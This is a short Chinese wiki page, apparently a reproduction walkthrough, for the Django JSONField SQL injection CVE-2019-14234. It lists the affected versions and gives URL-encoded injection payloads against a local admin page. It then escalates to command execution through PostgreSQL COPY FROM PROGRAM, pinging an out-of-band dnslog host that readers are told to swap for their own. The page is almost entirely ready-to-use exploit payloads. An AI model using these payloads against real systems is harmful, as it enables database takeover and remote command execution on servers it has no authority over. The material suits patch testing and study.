CVE-2019-14234 Django JSONField SQL注入漏洞

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Revision as of 16:00, 12 July 2021 by Xc1ym (talk | contribs) (Created page with "命令成功执行。")
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影响版本

Django 2.2.x < 2.2.4

Django 2.1.x < 2.1.11

Django 1.11.x < 1.11.23

漏洞利用

首先需登录管理员后台,访问模型Collection的管理页面:

http://127.0.0.1/admin/vuln/collection/
http://127.0.0.1/admin/vuln/collection/?detail__a%27
http://127.0.0.1/admin/vuln/collection/?detail__a%27)%3D%271%27%20or%201%3d1%20--

Django一般与PostgreSQL一起配合使用,可以尝试利用PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)


访问以下URL:

http://127.0.0.1/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcreate%20table%20cmd_execs(cmd_output%20text)--%20

回显no results to fetch 语句成功执行。

訪問:

http://127.0.0.1/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_execs%20FROM%20PROGRAM%20%27ping%20test.dnslog.cn%20%27--%20

命令成功执行。

⚠️️

test.dnslog.cn請修改爲自己的Dnslog